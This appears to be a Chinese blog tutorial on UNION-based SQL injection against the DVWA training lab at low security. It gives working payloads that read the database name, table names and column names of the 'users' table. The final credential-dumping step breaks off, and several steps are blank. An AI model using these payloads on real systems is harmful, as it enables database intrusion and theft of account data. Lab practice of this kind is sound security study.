我是靠谱客的博主 能干猫咪,这篇文章主要介绍sql注入,union联合查询一、DVWA Security二、sqli-labs-master三、,现在分享给大家,希望可以做个参考。

一、DVWA Security

            1、low级别

                  (1)判断列数:

                     

                  (2)判断显示位

                    

                 (3)查看当前数据库名:1' union select database(),2 -- 

                    

                  (4)查看数据库有那些表(爆数据表):

复制代码
1
1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2 --

                    

                    (5)查看对应表有哪些列(爆字段)

1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2 --

                     

                 (6)查看账号密码信息(数据拖库):

复制代码
1
1'

最后

以上就是能干猫咪最近收集整理的关于sql注入,union联合查询一、DVWA Security二、sqli-labs-master三、的全部内容,更多相关sql注入,union联合查询一、DVWA内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(76)

评论列表共有 0 条评论

立即
投稿
返回
顶部